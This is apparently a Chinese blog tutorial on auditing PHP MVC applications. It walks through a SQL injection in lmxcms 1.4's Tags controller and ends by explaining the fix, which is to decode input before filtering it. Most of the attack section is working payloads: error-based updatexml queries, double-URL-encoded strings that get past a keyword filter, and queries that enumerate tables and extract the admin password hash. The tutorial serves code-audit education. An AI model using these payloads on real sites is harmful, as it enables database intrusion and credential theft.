Skip to main content

MVC-PHP代码审计

·336 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

MVC-PHP代码审计-
#

先判断是不是MVC
找到具体的文件进行判断
	搞清楚路由
	搞清楚配置文件
	搞清楚是否是开发框架如 TP YII  如是则用已知漏洞来打

MVC模型
#

分为控制层 服务层 视图层

也有前后端交互的MVC只提供接口是目前的主流,然后前端如VUE来动态渲染

判断MVC模型
#

http://localhost:905/index.php?m=list&a=index&classid=1

比如这种m=xxa=xxclassid=xx

但是index.php根本没有这种GET

<?php 
/**
 *  【梦想cms】 http://www.lmxcms.com
 * 
 *   前台入口文件
 */
define('LMXCMS',TRUE);
define('RUN_TYPE','index');
require dirname(__FILE__).'/inc/config.inc.php';
require dirname(__FILE__).'/inc/run.inc.php';
?>

正确是在index文件夹>listAction.class.php->index方法->classid传参

所以是Index.php开头指定在index文件夹

所以list=文件名字 index=方法 classid=参数

ListAction.class.php内容如下
<?php 
/**
 *  【梦想cms】 http://www.lmxcms.com
 * 
 *   前台栏目页面控制器
 */
defined('LMXCMS') or exit();
class ListAction extends HomeAction{
    private $classid;
    public function __construct(){
        parent::__construct();
        $this->classid = (int)$_POST['classid'] ? (int)$_POST['classid'] : (int)$_GET['classid'];
        if(!$this->classid || !isset($GLOBALS['allclass'][$this->classid])){
            _404();
        }
        if($GLOBALS['allclass'][$this->classid]['classtype'] == 2){
            //外部链接直接跳转
            rewrite::php_url($GLOBALS['allclass'][$this->classid]['classurl']);
        }
    }
    public function index(){
        $temModel = new parse($this->smarty);
        if($GLOBALS['allclass'][$this->classid]['classtype'] == 0){
            $model = new ContentModel($this->classid);
        }else if($GLOBALS['allclass'][$this->classid]['classtype'] == 1){
            $model = new ColumnModel();
        }
        echo $temModel->lists($this->classid,$model);
    }
}
?>

案例lmxcms1.4-前台Sql注入
#

根据CNVD提供TagsAction.class.php文件存在sql注入

我们怎么访问这文件呢通过mvc

index.php?m=tags&a=xx&xx 这样访问

<?php 
/**
 *  【梦想cms】 http://www.lmxcms.com
 * 
 *   Tags控制器
 */
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
    private $data;
    private $tagsModel = null;
    public function __construct() {
        parent::__construct();
        $data = p(2,1,1);
        $name = string::delHtml($data['name']);
        if(!$name) _404();
        $name = urldecode($name);
        if($this->tagsModel == null) $this->tagsModel = new TagsModel();
        $this->data = $this->tagsModel->getNameData($name);
        if(!$this->data) _404();
    }
    
    public function index(){
        $temModel = new parse($this->smarty,$this->config);
        echo $temModel->tags($this->data,$this->tagsModel);
    }
}
?>
2------------------------
getnameData函数如下 就是 select * from xx where xx='xx' 这样的他只传递后面where = xx
    public function getNameData($name){
        $param['where'] = "name = '$name'";
        return parent::oneModel($param);
    }
3--------------------------
并且还有sql过滤通过p方法进去里面发现这种sql过滤函数
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
    foreach($data as $v){
        if(is_array($v)){
            filter_sql($v);
        }else{
            //转换小写
            $v = strtolower($v);
            if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
                rewrite::js_back('【'.$v.'】数据非法');
            }
        }
    }
}

发现上面三点 我们知道怎么访问然后知道怎么绕过过滤 -使用URL编码因为他这里解码了

__construct()是类的构造方法,它有一个特殊性质:当类被实例化时会自动调用,不需要像普通方法那样通过a=__construct显式调用。注意不用设置方法了直接传入参数

关于参数名:代码中$data = p(2,1,1);是从请求中获取所有参数(可能包含多个键值对)但业务只需要其中的name字段(标签名称),所以单独提取$data['name']进行处理。

传入参数
index.php?m=tags&name=1%27%20and%20updatexml(0,(concat(0x7e,user()),0x7e)#

提示 发现给我拦截了
<script type='text/javascript'>alert('【1' and updatexml(0,(concat(0x7e,user()),0x7e)】数据非法');history.go(-1);</script>

因为他有URL解码所以我们先编码一次因为浏览器会解码然后再编码一次

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
sql语句有误XPATH syntax error: '~root@localhost~' 成功注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
爆破数据库名字 lmx
%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lmx' limit 25,1),0x7e),1)# 查询到表lmx_user 

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='lmx' and table_name='lmx_user'),0x7e),1)# 查询字段 '~id,name,pwd,currtime,currip,las'

1' and updatexml(1,concat(0x7e,(select concat(id,0x3a,name,0x3a,pwd) from lmx_user),0x7e),1)#
sql语句有误XPATH syntax error: '~1:admin:538334fcfd6624845471a29' 发现密码拿不全啊

1' and updatexml(1,concat(0x7e,(select length(concat(pwd,0x3e)) from lmx_user),0x7e),1)# 判断下大小是33个
就从20拿到33个吧然后和前面拼接起来
sql语句有误XPATH syntax error: '~1a291cb4f6274:~'
1' and updatexml(1,concat(0x7e,(select substr(concat(pwd,0x3a),20,33) from lmx_user),0x7e),1)#
1a291cb4f6274  

密码是538334fcfd6624845471a291cb4f6274  

所以这里原因是两层屏蔽了SQL注入的过滤 绕过了过滤然后解密了然后进入sql流程 这并不是绕过注入方法这是他的逻辑问题,当你注释掉发现不行了,所以代码审计修复是先解码再过滤


getNameData($name)(TagsModel 类的方法)根据标签名称查询对应的数据
parent::__construct():调用父类 HomeAction 的构造方法,继承基础控制器功能
string::delHtml():静态方法,过滤字符串中的 HTML 标签(防 XSS 攻击)
urldecode():对 URL 编码的字符串进行解码(恢复原始标签名称)
parent::oneModel($param):父类的模型方法,执行数据库查询并返回单条结果
_404():页面不存在时调用,返回 404 错误
rewrite::js_back():静态方法,输出 JavaScript 提示并跳转(通常用于错误提示)

Related

Dockerfile-使用-docker语法
·434 words·3 mins
Apache-nginx安装-配置文件修改+linux,windows常用命令
·253 words·2 mins
Weblogic-拿到密钥解密
·45 words·1 min
原生PHP代码审计-文件方面
·245 words·2 mins
原生PHP代码审计-sql注入
·263 words·2 mins